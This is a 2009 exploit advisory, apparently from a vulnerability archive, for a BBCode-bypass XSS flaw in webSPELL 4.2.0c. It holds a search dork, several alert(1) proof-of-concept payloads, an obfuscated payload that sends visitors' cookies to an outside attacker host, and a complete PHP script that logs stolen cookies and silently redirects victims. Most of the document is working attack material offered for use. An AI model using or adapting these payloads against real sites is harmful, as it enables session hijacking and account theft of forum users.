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securityvulnsSecurityvulnsSECURITYVULNS:DOC:21677
HistoryApr 17, 2009 - 12:00 a.m.

webSPELL 4.2.0c--XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY--

2009-04-1700:00:00
vulners.com
5953

webSPELL 4.2.0c XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY


CMS INFORMATION:

–>WEB: http://www.webspell.org/ (affected too)
–>DOWNLOAD: http://www.webspell.org/download.php?fileID=22
–>DEMO: http://www.webspell.org/index.php?site=demo
–>CATEGORY: CMS / Portals
–>DESCRIPTION: webSPELL is a free Content Management System (CMS) for clans and
gaming communities, providing all needed features like forums, gallery, clanwar…


CMS VULNERABILITY:

–>TESTED ON: firefox 3.0.8 and IE 6.0.29 (Default)
–>DORK: "Powered by webSPELL"
–>CATEGORY: XSS/BYPASS-BBCODE/COOKIES STEALING
–>AFFECT VERSION: LAST = 4.2.0C (maybe <= ?)
–>Discovered Bug date: 2009-04-14
–>Reported Bug date: 2009-04-14
–>Fixed bug date: 2009-04-14
–>Info patch (v-4.2.0d): http://www.webspell.org/
–>Author: YEnH4ckEr
–>mail: y3nh4ck3r[at]gmail[dot]com
–>WEB/BLOG: N/A
–>COMMENT: A mi novia Marijose…hermano,cuсada, padres (y amigos xD) por su apoyo.


BUG ZONES:

#BBCode is bypassed by differents methods and XSS is possible.


PROOF OF CONCEPT (SEARCHING XSS):

BOTH (FIREFOX AND IE):

[email][img]http://a.com onmouseover=alert(1) [/img][/email]
[email][email][img]http://a.com onmouseover=alert(1) [/img] [/email][/email]
[email][url][img]http://a.com onmouseover=alert(1) [/img] [/url][/email]

Maybe you find more…I looked for a bit xD

ONLY IE:

[email][email][url]http://a.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]

Combinations of tags like this:

[email][img]http://a.com onmouseover=alert(1) [/img][/email]

Generate the follow html code:

<a href="mailto:…"><img src=\"http://a.com onmouseover=alert(1) \" id=\"ws_image_123966998343_1\" border=\"0\"
onload=\"checkSize('123966998343_1', 450, 500)\" alt=\"http://a.com onmouseover=alert(1) \" style=\"max-width: 451px;
max-height: 501px;\" /><div id=\"ws_imagediv_123966998343_1\" style=\"display:none;\"><a href='http://a.com
onmouseover=alert(1) ' target='_blank'><i>(Auto resize: show original)</i></a></div></a>


COOKIES EXPLOIT (BBCODE):

I'll use the first PoC (IE6 and firefox) and String.fromCharCode
to bypass quotes and send cookies to my host:

http://www.myphpcookiestealing.es/capturethecookies.php?ck=

Well…Let's GO!

[email][img]http://www.victim.es
onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie
[/img][/email]


COOKIES STEALER (PHP SCRIPT):

<?php
$ck=$_GET["ck"]; //Capture the cookies
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n–EOF–\r\n"); //Save the values
fclose($manejador); //Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect…we don't want to alert xDD
?>

You can use any cookie editor and you have one shot (XSSSHEll+XSSTunnel = many shots)